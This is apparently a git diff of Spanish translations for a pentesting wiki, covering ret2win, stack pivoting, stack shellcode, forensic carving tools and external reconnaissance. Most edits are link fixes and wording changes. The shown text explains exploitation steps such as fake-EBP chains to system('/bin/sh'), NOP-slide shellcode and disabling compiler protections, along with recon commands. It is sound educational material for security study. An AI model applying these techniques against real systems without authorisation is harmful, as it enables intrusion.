regrese, se llame a la función oculta: +En este tipo de desafíos CTF, hay una **función** **dentro** del binario que **nunca se llama** y que **necesitas llamar para ganar**. Para estos desafíos solo necesitas encontrar el **desplazamiento para sobrescribir la dirección de retorno** y **encontrar la dirección de la función** a llamar (generalmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) estaría deshabilitado) para que cuando la función vulnerable regrese, se llame a la función oculta: {{#ref}} ret2win/ diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md index 0e02e802b..26b9726c8 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/README.md +++ b/src/binary-exploitation/stack-overflow/ret2win/README.md @@ -69,8 +69,8 @@ El script de Python envía un mensaje cuidadosamente elaborado que, al ser proce ## Protecciones -- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **debe estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win. En algunos casos, cuando la función que causa el desbordamiento es `read` o similar, puedes hacer un **Partial Overwrite** de 1 o 2 bytes para cambiar la dirección de retorno a la función win. Debido a cómo funciona ASLR, los últimos tres nibble hexadecimales no están aleatorizados, por lo que hay una **1/16 de probabilidad** (1 nibble) de obtener la dirección de retorno correcta. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida. +- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **debe estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win. En algunos casos, cuando la función que causa el desbordamiento es `read` o similar, puedes hacer un **Partial Overwrite** de 1 o 2 bytes para cambiar la dirección de retorno a la función win. Debido a cómo funciona ASLR, los últimos tres nibble hexadecimales no están aleatorizados, por lo que hay una **1/16 de probabilidad** (1 nibble) de obtener la dirección de retorno correcta. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida. ## Otros ejemplos y Referencias @@ -78,11 +78,11 @@ El script de Python envía un mensaje cuidadosamente elaborado que, al ser proce - [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html) - 32 bits, sin ASLR - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html) -- 64 bits con ASLR, con una filtración de la dirección binaria +- 64 bits con ASLR, con una filtración de la dirección del binario - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html) - 64 bits, sin ASLR - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) -- 32 bits, sin ASLR, desbordamiento pequeño doble, primero para desbordar la pila y aumentar el tamaño del segundo desbordamiento +- 32 bits, sin ASLR, doble desbordamiento pequeño, primero para desbordar la pila y aumentar el tamaño del segundo desbordamiento - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - 32 bits, relro, sin canario, nx, sin pie, cadena de formato para sobrescribir la dirección `fflush` con la función win (ret2win) - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html) @@ -94,7 +94,7 @@ El script de Python envía un mensaje cuidadosamente elaborado que, al ser proce - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) - 64 bits, relro, sin canario, nx, pie. Sobrescritura parcial para llamar a la función win (ret2win) - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/) -- arm64, PIE, da una filtración PIE, la función win es en realidad 2 funciones, por lo que gadget ROP que llama a 2 funciones +- arm64, PIE, da una filtración de PIE, la función win es en realidad 2 funciones, por lo que gadget ROP que llama a 2 funciones - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) - ARM64, off-by-one para llamar a una función win diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index e1e8de73e..d48da7874 100644 --- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -18,25 +18,25 @@ Y como el **EBP está en la pila** antes del EIP, es posible controlarlo control Esta técnica es particularmente útil cuando puedes **alterar el registro EBP pero no tienes una forma directa de cambiar el registro EIP**. Aprovecha el comportamiento de las funciones cuando terminan de ejecutarse. -Si, durante la ejecución de `fvuln`, logras inyectar un **EBP falso** en la pila que apunta a un área en memoria donde se encuentra la dirección de tu shellcode (más 4 bytes para tener en cuenta la operación `pop`), puedes controlar indirectamente el EIP. A medida que `fvuln` retorna, el ESP se establece en esta ubicación creada, y la siguiente operación `pop` disminuye el ESP en 4, **haciendo que apunte efectivamente a una dirección almacenada por el atacante allí.**\ -Nota cómo **necesitas conocer 2 direcciones**: La que donde va a ir el ESP, donde necesitarás escribir la dirección a la que apunta el ESP. +Si, durante la ejecución de `fvuln`, logras inyectar un **EBP falso** en la pila que apunta a un área en memoria donde se encuentra la dirección de tu shellcode (más 4 bytes para tener en cuenta la operación `pop`), puedes controlar indirectamente el EIP. A medida que `fvuln` retorna, el ESP se establece en esta ubicación creada, y la siguiente operación `pop` disminuye el ESP en 4, **haciendo que efectivamente apunte a una dirección almacenada por el atacante allí.**\ +Nota cómo **necesitas conocer 2 direcciones**: La que donde el ESP va a ir, donde necesitarás escribir la dirección a la que apunta el ESP. #### Construcción del Exploit -Primero necesitas conocer una **dirección donde puedas escribir datos / direcciones arbitrarias**. El ESP apuntará aquí y **ejecutará el primer `ret`**. +Primero necesitas conocer una **dirección donde puedes escribir datos / direcciones arbitrarias**. El ESP apuntará aquí y **ejecutará el primer `ret`**. Luego, necesitas conocer la dirección utilizada por `ret` que **ejecutará código arbitrario**. Podrías usar: - Una dirección válida de [**ONE_GADGET**](https://github.com/david942j/one_gadget). - La dirección de **`system()`** seguida de **4 bytes basura** y la dirección de `"/bin/sh"` (bits x86). - La dirección de un gadget de **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguida del **shellcode** a ejecutar. -- Alguna cadena de [**ROP**](../rop-return-oriented-programing/). +- Alguna cadena [**ROP**](../rop-return-oriented-programing/index.html). Recuerda que antes de cualquiera de estas direcciones en la parte controlada de la memoria, debe haber **`4` bytes** debido a la parte de **`pop`** de la instrucción `leave`. Sería posible abusar de estos 4B para establecer un **segundo EBP falso** y continuar controlando la ejecución. #### Exploit Off-By-One -Hay una variante específica de esta técnica conocida como "Off-By-One Exploit". Se utiliza cuando puedes **modificar solo el byte menos significativo del EBP**. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con el **`ret`** debe compartir los primeros tres bytes con el EBP, permitiendo una manipulación similar con condiciones más restringidas.\ +Hay una variante específica de esta técnica conocida como "Off-By-One Exploit". Se utiliza cuando solo puedes **modificar el byte menos significativo del EBP**. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con el **`ret`** debe compartir los primeros tres bytes con el EBP, permitiendo una manipulación similar con condiciones más restringidas.\ Usualmente se modifica el byte 0x00 para saltar lo más lejos posible. Además, es común usar un RET sled en la pila y colocar la verdadera cadena ROP al final para hacer más probable que el nuevo ESP apunte dentro del RET SLED y se ejecute la cadena ROP final. @@ -47,14 +47,14 @@ Por lo tanto, al poner una dirección controlada en la entrada `EBP` de la pila Ahora, el **`ESP`** está controlado apuntando a una dirección deseada y la siguiente instrucción a ejecutar es un `RET`. Para abusar de esto, es posible colocar en el lugar controlado del ESP esto: -- **`&(next fake EBP)`** -> Cargar el nuevo EBP debido a `pop ebp` de la instrucción `leave` -- **`system()`** -> Llamado por `ret` -- **`&(leave;ret)`** -> Llamado después de que el sistema termina, moverá el ESP al EBP falso y comenzará de nuevo -- **`&("/bin/sh")`**-> Parámetro para `system` +- **`&(next fake EBP)`** -> Cargar el nuevo EBP debido a `pop ebp` de la instrucción `leave`. +- **`system()`** -> Llamado por `ret`. +- **`&(leave;ret)`** -> Llamado después de que el sistema termina, moverá el ESP al EBP falso y comenzará de nuevo. +- **`&("/bin/sh")`**-> Parámetro para `system`. Básicamente, de esta manera es posible encadenar varios EBP falsos para controlar el flujo del programa. -Esto es como un [ret2lib](../rop-return-oriented-programing/ret2lib/), pero más complejo sin un beneficio aparente, pero podría ser interesante en algunos casos límite. +Esto es como un [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), pero más complejo sin un beneficio aparente, pero podría ser interesante en algunos casos límite. Además, aquí tienes un [**ejemplo de un desafío**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que utiliza esta técnica con una **fuga de pila** para llamar a una función ganadora. Este es el payload final de la página: ```python @@ -94,7 +94,7 @@ print(p.recvline()) ``` ## EBP podría no ser utilizado -Como [**se explica en esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binario se compila con algunas optimizaciones, el **EBP nunca controla ESP**, por lo tanto, cualquier exploit que funcione controlando EBP básicamente fallará porque no tiene ningún efecto real.\ +Como [**se explica en esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binario se compila con algunas optimizaciones, el **EBP nunca controla ESP**, por lo tanto, cualquier exploit que funcione controlando EBP básicamente fallará porque no tiene un efecto real.\ Esto se debe a que los **cambios de prólogo y epílogo** si el binario está optimizado. - **No optimizado:** @@ -192,7 +192,7 @@ Consulta la técnica ret2esp aquí: ## ARM64 -En ARM64, los **prologos y epílogos** de las funciones **no almacenan ni recuperan el registro SP** en la pila. Además, la instrucción **`RET`** no regresa a la dirección apuntada por SP, sino **a la dirección dentro de `x30`**. +En ARM64, el **prologo y epílogo** de las funciones **no almacenan ni recuperan el registro SP** en la pila. Además, la instrucción **`RET`** no regresa a la dirección apuntada por SP, sino **a la dirección dentro de `x30`**. Por lo tanto, por defecto, solo abusando del epílogo **no podrás controlar el registro SP** sobrescribiendo algunos datos dentro de la pila. E incluso si logras controlar el SP, aún necesitarías una forma de **controlar el registro `x30`**. @@ -213,7 +213,7 @@ ret ``` > [!CAUTION] -> La forma de realizar algo similar a la pivotación de pila en ARM64 sería poder **controlar el `SP`** (controlando algún registro cuyo valor se pasa a `SP` o porque por alguna razón `SP` está tomando su dirección de la pila y tenemos un desbordamiento) y luego **abusar del epílogo** para cargar el registro **`x30`** desde un **`SP`** controlado y **`RET`** a él. +> La forma de realizar algo similar al pivoting de pila en ARM64 sería poder **controlar el `SP`** (controlando algún registro cuyo valor se pasa a `SP` o porque por alguna razón `SP` está tomando su dirección de la pila y tenemos un desbordamiento) y luego **abusar del epílogo** para cargar el registro **`x30`** desde un **`SP`** controlado y **`RET`** a él. También en la siguiente página puedes ver el equivalente de **Ret2esp en ARM64**: diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index d1a518287..c9a801cab 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -28,7 +28,7 @@ Este programa es vulnerable a un desbordamiento de búfer debido al uso de la fu ### Compilación -Para compilar este programa deshabilitando varias protecciones (para simular un entorno vulnerable), puedes usar el siguiente comando: +Para compilar este programa mientras desactivas varias protecciones (para simular un entorno vulnerable), puedes usar el siguiente comando: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` @@ -68,13 +68,13 @@ p.interactive() ``` Este script construye una carga útil que consiste en un **NOP slide**, el **shellcode**, y luego sobrescribe el **EIP** con la dirección que apunta al NOP slide, asegurando que el shellcode se ejecute. -El **NOP slide** (`asm('nop')`) se utiliza para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento `p32()` a la dirección inicial de tu buffer más un desplazamiento para aterrizar en el NOP slide. +El **NOP slide** (`asm('nop')`) se utiliza para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento `p32()` a la dirección de inicio de tu buffer más un desplazamiento para aterrizar en el NOP slide. ## Protecciones -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **debe estar deshabilitado** para que la dirección sea confiable en todas las ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida. -- La protección de **stack** [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) impediría la ejecución del shellcode dentro de la pila porque esa región no será ejecutable. +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **debe estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida. +- La protección **stack** [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) impediría la ejecución del shellcode dentro de la pila porque esa región no será ejecutable. ## Otros Ejemplos y Referencias diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index 728c6a92e..9c4fe3073 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -2,17 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -## Carving & Recovery tools +## Herramientas de Carving y Recuperación Más herramientas en [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) ### Autopsy -La herramienta más común utilizada en forenses para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñada para soportar imágenes de disco y otros tipos de imágenes, pero no archivos simples. +La herramienta más común utilizada en forense para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñada para soportar imágenes de disco y otros tipos de imágenes, pero no archivos simples. ### Binwalk -**Binwalk** es una herramienta para analizar archivos binarios y encontrar contenido incrustado. Se puede instalar a través de `apt` y su código fuente está en [GitHub](https://github.com/ReFirmLabs/binwalk). +**Binwalk** es una herramienta para analizar archivos binarios para encontrar contenido incrustado. Se puede instalar a través de `apt` y su código fuente está en [GitHub](https://github.com/ReFirmLabs/binwalk). **Comandos útiles**: ```bash @@ -23,7 +23,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file ``` ### Foremost -Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar algunos archivos específicos, descoméntalos. Si no descomentas nada, foremost buscará sus tipos de archivo configurados por defecto. +Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar algunos archivos específicos, descomenta esos. Si no descomentas nada, foremost buscará sus tipos de archivo configurados por defecto. ```bash sudo apt-get install foremost foremost -v -i file.img -o output @@ -38,13 +38,13 @@ scalpel file.img -o output ``` ### Bulk Extractor -Esta herramienta viene incluida en Kali, pero puedes encontrarla aquí: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +Esta herramienta viene dentro de kali, pero puedes encontrarla aquí: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) Esta herramienta puede escanear una imagen y **extraer pcaps** dentro de ella, **información de red (URLs, dominios, IPs, MACs, correos)** y más **archivos**. Solo tienes que hacer: ``` bulk_extractor memory.img -o out_folder ``` -Navega a través de **toda la información** que la herramienta ha recopilado (¿contraseñas?), **analiza** los **paquetes** (lee [**análisis de Pcaps**](../pcap-inspection/)), busca **dominios extraños** (dominios relacionados con **malware** o **inexistentes**). +Navega a través de **toda la información** que la herramienta ha recopilado (¿contraseñas?), **analiza** los **paquetes** (lee [**análisis de Pcaps**](../pcap-inspection/index.html)), busca **dominios extraños** (dominios relacionados con **malware** o **inexistentes**). ### PhotoRec @@ -67,7 +67,7 @@ Revisa el [código](https://code.google.com/archive/p/binvis/) y la [página web - Obteniendo **patrones** para criptoanálisis en archivos - **Detectando** algoritmos de empaquetado o codificación - **Identificar** esteganografía por patrones -- **Visual** de diferencias binarias +- **Diferenciación** binaria visual BinVis es un gran **punto de partida para familiarizarse con un objetivo desconocido** en un escenario de caja negra. diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md index 0f50702b1..6030db91f 100644 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md +++ b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md @@ -4,12 +4,12 @@ ## Autopsy -La herramienta más común utilizada en forense para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñado para soportar imágenes de disco y otros tipos de imágenes, pero no archivos simples. +La herramienta más común utilizada en forense para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñada para soportar imágenes de disco y otros tipos de imágenes, pero no archivos simples. ## Binwalk -**Binwalk** es una herramienta para buscar archivos binarios como imágenes y archivos de audio en busca de archivos y datos incrustados. -Se puede instalar con `apt`, sin embargo, la [fuente](https://github.com/ReFirmLabs/binwalk) se puede encontrar en github. +**Binwalk** es una herramienta para buscar archivos binarios como imágenes y archivos de audio en busca de archivos y datos incrustados. +Se puede instalar con `apt`, sin embargo, la [fuente](https://github.com/ReFirmLabs/binwalk) se puede encontrar en github. **Comandos útiles**: ```bash sudo apt install binwalk #Insllation @@ -19,7 +19,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file ``` ## Foremost -Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar algunos archivos específicos, descoméntalos. Si no descomentas nada, foremost buscará los tipos de archivos configurados por defecto. +Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar algunos archivos específicos, descomenta esos. Si no descomentas nada, foremost buscará los tipos de archivos configurados por defecto. ```bash sudo apt-get install foremost foremost -v -i file.img -o output @@ -40,7 +40,7 @@ Esta herramienta puede escanear una imagen y **extraer pcaps** dentro de ella, * ```text bulk_extractor memory.img -o out_folder ``` -Navega a través de **toda la información** que la herramienta ha recopilado \(¿contraseñas?\), **analiza** los **paquetes** \(lee [**análisis de Pcaps**](../pcap-inspection/)\), busca **dominios extraños** \(dominios relacionados con **malware** o **inexistentes**\). +Navega a través de **toda la información** que la herramienta ha recopilado \(¿contraseñas?\), **analiza** los **paquetes** \(lee [**análisis de Pcaps**](../pcap-inspection/index.html)\), busca **dominios extraños** \(dominios relacionados con **malware** o **inexistentes**\). ## PhotoRec diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index a0b6d1e6c..8a097f30d 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -2,13 +2,13 @@ {{#include ../../../banners/hacktricks-training.md}} -## Carving & Recovery tools +## Herramientas de Carving y Recuperación Más herramientas en [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) ### Autopsy -La herramienta más común utilizada en forenses para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñado para soportar imágenes de disco y otros tipos de imágenes, pero no archivos simples. +La herramienta más común utilizada en forenses para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñada para soportar imágenes de disco y otros tipos de imágenes, pero no archivos simples. ### Binwalk @@ -38,13 +38,13 @@ scalpel file.img -o output ``` ### Bulk Extractor -Esta herramienta viene incluida en Kali, pero puedes encontrarla aquí: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) +Esta herramienta viene dentro de kali, pero puedes encontrarla aquí: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) Esta herramienta puede escanear una imagen y **extraer pcaps** dentro de ella, **información de red (URLs, dominios, IPs, MACs, correos)** y más **archivos**. Solo tienes que hacer: ``` bulk_extractor memory.img -o out_folder ``` -Navega a través de **toda la información** que la herramienta ha recopilado (¿contraseñas?), **analiza** los **paquetes** (lee [**análisis de Pcaps**](../pcap-inspection/)), busca **dominios extraños** (dominios relacionados con **malware** o **inexistentes**). +Navega a través de **toda la información** que la herramienta ha recopilado (¿contraseñas?), **analiza** los **paquetes** (lee [**análisis de Pcaps**](../pcap-inspection/index.html)), busca **dominios extraños** (dominios relacionados con **malware** o **inexistentes**). ### PhotoRec @@ -63,7 +63,7 @@ Revisa el [código](https://code.google.com/archive/p/binvis/) y la [página web - Visualizador de **estructura** visual y activa - Múltiples gráficos para diferentes puntos de enfoque - Enfocándose en porciones de una muestra -- **Viendo cadenas y recursos**, en ejecutables PE o ELF, por ejemplo +- **Viendo cadenas y recursos**, en ejecutables PE o ELF, por ejemplo. - Obteniendo **patrones** para criptoanálisis en archivos - **Detectando** algoritmos de empaquetado o codificación - **Identificar** esteganografía por patrones diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index a2c1a7f41..60f143a70 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -56,7 +56,7 @@ Puedes encontrar la IP y ASN de un dominio usando [http://ipv4info.com/](http:// ### **Buscando vulnerabilidades** -En este punto conocemos **todos los activos dentro del alcance**, así que si se te permite, podrías lanzar algún **escáner de vulnerabilidades** (Nessus, OpenVAS) sobre todos los hosts.\ +En este punto conocemos **todos los activos dentro del alcance**, así que si tienes permiso podrías lanzar algún **escáner de vulnerabilidades** (Nessus, OpenVAS) sobre todos los hosts.\ Además, podrías lanzar algunos [**escaneos de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **o usar servicios como** shodan **para encontrar** puertos abiertos **y dependiendo de lo que encuentres deberías** consultar este libro sobre cómo hacer pentesting a varios servicios posibles en ejecución.\ **Además, podría valer la pena mencionar que también puedes preparar algunas** listas de nombres de usuario **y** contraseñas **por defecto y tratar de** forzar servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). @@ -70,7 +70,7 @@ Primero que nada, deberías buscar el(los) **dominio(s) principal(es)** de cada ### **DNS inverso** -Como has encontrado todos los rangos de IP de los dominios, podrías intentar realizar **búsquedas de DNS inverso** en esas **IPs para encontrar más dominios dentro del alcance**. Intenta usar algún servidor DNS de la víctima o algún servidor DNS bien conocido (1.1.1.1, 8.8.8.8) +Como has encontrado todos los rangos de IP de los dominios, podrías intentar realizar **búsquedas de dns inverso** en esas **IPs para encontrar más dominios dentro del alcance**. Intenta usar algún servidor dns de la víctima o algún servidor dns bien conocido (1.1.1.1, 8.8.8.8) ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns @@ -90,8 +90,8 @@ Puedes usar herramientas en línea como: - [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratis** - [https://www.whoxy.com/](https://www.whoxy.com) - **Gratis** web, no gratis API. - [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - No gratis -- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No gratis (solo **100 gratis** búsquedas) -- [https://www.domainiq.com/](https://www.domainiq.com) - No gratis +- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No Gratis (solo **100 gratis** búsquedas) +- [https://www.domainiq.com/](https://www.domainiq.com) - No Gratis Puedes automatizar esta tarea usando [**DomLink** ](https://github.com/vysecurity/DomLink) (requiere una clave API de whoxy).\ También puedes realizar un descubrimiento automático de reverse whois con [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` @@ -122,7 +122,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s Dicho de manera simple, favihash nos permitirá descubrir dominios que tienen el mismo hash de icono favicon que nuestro objetivo. -Además, también puedes buscar tecnologías utilizando el hash de favicon como se explica en [**esta publicación del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Eso significa que si conoces el **hash del favicon de una versión vulnerable de una tecnología web** puedes buscar en shodan y **encontrar más lugares vulnerables**: +Además, también puedes buscar tecnologías utilizando el hash de favicon como se explica en [**este artículo del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Eso significa que si conoces el **hash del favicon de una versión vulnerable de una tecnología web** puedes buscar en shodan y **encontrar más lugares vulnerables**: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` @@ -159,11 +159,11 @@ Puedes usar una web como [https://dmarc.live/info/google.com](https://dmarc.live ### **Toma Pasiva** -Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en la nube (como Digital Ocean) estarás **tomando el control de algunos subdominios**. +Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en una nube (como Digital Ocean) estarás **tomando el control de algunos subdominios**. [**Esta publicación**](https://kmsec.uk/blog/passive-takeover/) explica una historia al respecto y propone un script que **crea una VM en DigitalOcean**, **obtiene** la **IPv4** de la nueva máquina y **busca en Virustotal registros de subdominio** que apunten a ella. -### **Otras maneras** +### **Otras formas** **Ten en cuenta que puedes usar esta técnica para descubrir más nombres de dominio cada vez que encuentres un nuevo dominio.** @@ -179,7 +179,7 @@ Podrías acceder al **certificado TLS** de la página web principal, obtener el ### **Buscando vulnerabilidades** -Verifica algún [toma de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Quizás alguna empresa esté **usando un dominio** pero **perdió la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y avísale a la empresa. +Verifica algún [toma de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Quizás alguna empresa esté **usando un dominio** pero **haya perdido la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y avísale a la empresa. Si encuentras algún **dominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en funcionamiento, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\ &#xNAN;_Note que a veces el dominio está alojado dentro de una IP que no está controlada por el cliente, así que no está en el alcance, ten cuidado._ @@ -282,12 +282,12 @@ curl -s "https://crt.sh/?q=%25.$1" \ } crt tesla.com ``` -- [**gau**](https://github.com/lc/gau)**:** recupera URLs conocidas de Open Threat Exchange de AlienVault, la Wayback Machine y Common Crawl para cualquier dominio dado. +- [**gau**](https://github.com/lc/gau)**:** obtiene URLs conocidas de Open Threat Exchange de AlienVault, la Wayback Machine y Common Crawl para cualquier dominio dado. ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u ``` -- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): 